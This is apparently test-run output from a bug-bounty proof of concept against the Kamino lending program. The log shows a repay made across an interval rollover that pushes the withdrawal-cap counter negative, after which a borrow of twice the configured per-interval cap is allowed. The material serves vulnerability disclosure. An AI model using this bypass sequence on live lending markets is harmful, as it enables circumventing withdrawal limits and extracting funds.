warning: unused import: `dbg_msg`
 --> src/../../klend/programs/klend/src/lending_market/withdrawal_cap_operations.rs:7:17
  |
7 |     use crate::{dbg_msg, LendingError, WithdrawalCaps};
  |                 ^^^^^^^
  |
  = note: `#[warn(unused_imports)]` (part of `#[warn(unused)]`) on by default

warning: `kamino-withdrawal-cap-poc-v2` (lib test) generated 1 warning (run `cargo fix --lib -p kamino-withdrawal-cap-poc-v2 --tests` to apply 1 suggestion)
    Finished `test` profile [unoptimized + debuginfo] target(s) in 0.04s
     Running unittests src/lib.rs (target/debug/deps/kamino_withdrawal_cap_poc_v2-83d81ae0b66d5869)

running 2 tests
[t=0]    Borrow 1000000 (= debt_cap). Pre-state: WithdrawalCaps { config_capacity: 1000000, current_total: 0, last_interval_start_timestamp: 0, config_interval_length_seconds: 3600 }
[t=0]    After borrow: current_total=1000000

[t=1]    Borrow 1 more should be denied...
[t=1]    Denied as expected: WithdrawalCapReached

[t=3601] Repay 1000000 after interval rolls over.
         State before: current_total=1000000, last_int_start=0
         State after:  current_total=-1000000, last_int_start=3601

[t=3611] remaining_withdrawal_caps_amount = 2000000 (config cap = 1000000)
[t=3611] Attempt Add 2000000 (= 2x cap) in new interval...
[t=3611] Result: ALLOWED (BUG)
test withdrawal_cap_operations::utils::tests_immunefi_poc::test_cross_interval_remove_inflates_deposit_cap_bypass ... ok

=== BYPASS CONFIRMED (in-tree, Kamino's actual source) ===
Configured per-interval cap: 1000000 units. Effected gross borrow in single new interval: 2000000 units (2x).
Final caps state: WithdrawalCaps { config_capacity: 1000000, current_total: 1000000, last_interval_start_timestamp: 3601, config_interval_length_seconds: 3600 }
test withdrawal_cap_operations::utils::tests_immunefi_poc::test_cross_interval_remove_inflates_cap_bypass ... ok

test result: ok. 2 passed; 0 failed; 0 ignored; 0 measured; 0 filtered out; finished in 0.00s